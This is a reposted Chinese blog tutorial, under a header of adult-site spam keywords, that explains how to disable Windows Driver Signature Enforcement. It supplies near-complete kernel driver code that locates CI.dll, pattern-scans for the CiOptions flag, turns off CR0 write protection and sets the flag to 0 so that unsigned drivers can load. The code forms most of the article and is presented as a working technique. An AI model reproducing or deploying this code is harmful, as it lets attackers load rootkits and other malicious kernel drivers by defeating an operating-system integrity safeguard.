日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

内核过DSE驱动签名验证.

發布時間:2023/12/13 综合教程 27 生活家
生活随笔 收集整理的這篇文章主要介紹了 内核过DSE驱动签名验证. 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

一丶簡介

現在的驅動,必須都有簽名才能加載.那么如何加載無簽名的驅動模塊那.
下面可以說下方法.但是挺尷尬的是,代碼必須在驅動中編寫.所以就形成了
你必須一個驅動帶有一個簽名加載進去.執行你的代碼.pass掉DSE之后以后加載驅動就可以完全不用簽名了.

原理:
原理就是Path一下CI內核模塊.將一個全局變量置為0即可.但是受PG保護.不過PG要檢測這個位置不會立刻保護.所以可以修改完加載完你的無驅動簽名的驅動.然后修改回來即可.

全局變量有三個. 0 6 8 0代表禁用 6代表開啟. 8代表可以加載測試簽名.

二丶逆向CI.dll尋找Path位置.

既然上面說了.是修改一個全局變量.那么打開CI看看修改那個即可.

結果

雖然提示你需要簽名.但是可以用PChunter看到.其實已經加載了.

一共三個值. 0 6 8 6代表開啟驅動簽名 0代表關閉 8 代表開啟測試驅動簽名

代碼:


#include "Driver.h"
#include <wdm.h>

//KLDR_DATA_TABLE_ENTRY

typedef struct _LDR_DATA_TABLE_ENTRY {
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	LIST_ENTRY InInitializationOrderLinks;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	USHORT LoadCount;
	USHORT TlsIndex;
	union {
		LIST_ENTRY HashLinks;
		struct {
			PVOID SectionPointer;
			ULONG CheckSum;
		};
	};
	union {
		struct {
			ULONG TimeDateStamp;
		};
		struct {
			PVOID LoadedImports;
		};
	};
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

VOID IteratorModule(PDRIVER_OBJECT pDriverObj)
{
	PLDR_DATA_TABLE_ENTRY pLdr = NULL;
	PLIST_ENTRY pListEntry = NULL;
	PLIST_ENTRY pCurrentListEntry = NULL;

	PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
	pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
	pListEntry = pLdr->InLoadOrderLinks.Flink;
	pCurrentListEntry = pListEntry->Flink;

	while (pCurrentListEntry != pListEntry) //前后不相等
	{
		//獲取LDR_DATA_TABLE_ENTRY結構
		pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

		if (pCurrentModule->BaseDllName.Buffer != 0)
		{
			DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p
",
				pCurrentModule->BaseDllName,
				pCurrentModule->DllBase,
				(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
		}
		pCurrentListEntry = pCurrentListEntry->Flink;
	}
}

LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName)
{
	PLDR_DATA_TABLE_ENTRY pLdr = NULL;
	PLIST_ENTRY pListEntry = NULL;
	PLIST_ENTRY pCurrentListEntry = NULL;

	PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
	pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
	pListEntry = pLdr->InLoadOrderLinks.Flink;
	pCurrentListEntry = pListEntry->Flink;

	while (pCurrentListEntry != pListEntry) //前后不相等
	{
		//獲取LDR_DATA_TABLE_ENTRY結構
		pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

		if (pCurrentModule->BaseDllName.Buffer != 0)
		{
			UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
			UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
			if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
			{
				DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p
",
					pCurrentModule->BaseDllName,
					pCurrentModule->DllBase,
					(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
				return (LONGLONG)pCurrentModule->DllBase;
			}
			
		}
		pCurrentListEntry = pCurrentListEntry->Flink;
	}
	return 0;
}

typedef struct _BASEMANGER
{
	LONGLONG StartBase;
	LONGLONG EndBase;
}BASEMANGER,*PBASEMANGER;

BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName)
{
	PLDR_DATA_TABLE_ENTRY pLdr = NULL;
	PLIST_ENTRY pListEntry = NULL;
	PLIST_ENTRY pCurrentListEntry = NULL;

	PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
	pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
	pListEntry = pLdr->InLoadOrderLinks.Flink;
	pCurrentListEntry = pListEntry->Flink;
	BASEMANGER BaseManger = { 0 };
	while (pCurrentListEntry != pListEntry) //前后不相等
	{
		//獲取LDR_DATA_TABLE_ENTRY結構
		pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

		if (pCurrentModule->BaseDllName.Buffer != 0)
		{
			UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
			UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
			if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
			{
				
				DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p
",
					pCurrentModule->BaseDllName,
					pCurrentModule->DllBase,
					(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
				
				BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase;
				BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage;
				return BaseManger;
			}

		}
		pCurrentListEntry = pCurrentListEntry->Flink;
	}
	BaseManger.StartBase = 0;
	BaseManger.EndBase = 0;
	return BaseManger;
}





//核心實現代碼
DWORD64 g_CiOptionsAddress;
int g_CiOptions = 6;



KIRQL  WPOFFx64()
{
	KIRQL  irql = KeRaiseIrqlToDpcLevel();
	UINT64  cr0 = __readcr0();
	cr0 &= 0xfffffffffffeffff;
	_disable();
	__writecr0(cr0);
	return  irql;
}



KIRQL DisableMemProtected()
{
	KIRQL  irql = KeRaiseIrqlToDpcLevel();
	UINT64  cr0 = __readcr0();
	cr0 &= 0xfffffffffffeffff;
	_disable();
	__writecr0(cr0);
	return  irql;
}

void EnbaleMemProtected(KIRQL irql)
{
	UINT64  cr0 = __readcr0();
	cr0 |= 0x10000;
	_enable();
	__writecr0(cr0);
	KeLowerIrql(irql);
}
BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress)
{
	UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess");
	DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName);
	DWORD64 SerchAddress = CiStartAddress;
	DWORD64 Address;
	KIRQL Myirql;
	int nCount = 0;
	int isFind = 0;
	int i = 0;
	int isRead = 1;
	if (SerchAddress == 0)
	{
		return 0;
	}
	__try
	{
		KIRQL irql = KeRaiseIrqlToDpcLevel();
		while (SerchAddress++)
		{
			if (SerchAddress + 2 > CiEndAddress)
			{
				break;
			}

			isRead = 1;
			for (i = 0; i < 2; i++)
			{
				if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE)
				{
					isRead = 0;
					break;
				}
			}

			if (isRead == 1)
			{
				if (*(PUSHORT)(SerchAddress) == 0x15ff)
				{
					Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
					if (MmIsAddressValid((PDWORD64)Address))
					{
						if (*(PDWORD64)Address == PsGetCurrentProcessAddress)
						{
							while (nCount < 100)
							{
								nCount++;
								SerchAddress--;
								if (*(PUSHORT)(SerchAddress) == 0x0d89)
								{
									isFind = 1;
									break;
								}
							}
							break;
						}
					}

				}
			}
		}
		KeLowerIrql(irql);
	}
	__except (1)
	{
		DbgPrint("搜索數據失敗!");
	}
	if (isFind == 1)
	{
		//DbgPrint("SerchAddress:%p
", SerchAddress);
		g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
		g_CiOptions = *(PLONG)g_CiOptionsAddress;
		DbgPrint("地址:%p 初始化值數據:%08X
", g_CiOptionsAddress, g_CiOptions);
		Myirql = DisableMemProtected();
		*(PLONG)g_CiOptionsAddress = 0; //DisableDse 修改為0即可.
		DbgPrint("地址:%p 修改數據為:%08X
", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress);
		EnbaleMemProtected(Myirql);
		return TRUE;
	}
	else
	{
		DbgPrint("搜索數據失敗!
");
		return FALSE;
	}
}
void EnbalDse()  //開啟DSE保護
{
	KIRQL Myirql;
	Myirql = DisableMemProtected();
	*(PLONG)g_CiOptionsAddress = 6; //DisableDse 修改為6即可.
	DbgPrint("開啟簽名驗證成功.值修改為 %d 
", *(PLONG)g_CiOptionsAddress);
	EnbaleMemProtected(Myirql);
	
}



NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
	ULONG iCount = 0;
	NTSTATUS ntStatus;
	UNICODE_STRING uModuleName;
	BASEMANGER Base = { 0 };
	RtlInitUnicodeString(&uModuleName, L"CI.dll");
	pDriverObj->DriverUnload = DriverUnLoad;

	Base = GetModuleBaseByNames(pDriverObj, uModuleName);
	if (Base.StartBase != 0 && Base.EndBase != 0)
	{
		DisableDse(Base.StartBase, Base.EndBase);//傳入CI基址 CICiEndAddress
		//EnbalDse();                            //關閉DSE
	}

	
	
	
	return STATUS_SUCCESS;
}



ps: 文章是原創.但是核心原理是參考了一個看流星論壇的一個大佬的。自己將它的代碼拷貝了下來稍微改了改。加了遍歷模塊代碼而已。
原理就是Path CI. 大佬的代碼就是尋找特征定位全局變量。既然知道原理了。那么定位的話就抄一下了。
另一篇文章是參考了 安全客的一個漏洞文章。現在找不到了。另一篇所講的是 標志有三種 0 6 8 0是禁用 6是開啟 8是啟動測試簽名。所以在這里直接使用了。

總結

以上是生活随笔為你收集整理的内核过DSE驱动签名验证.的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。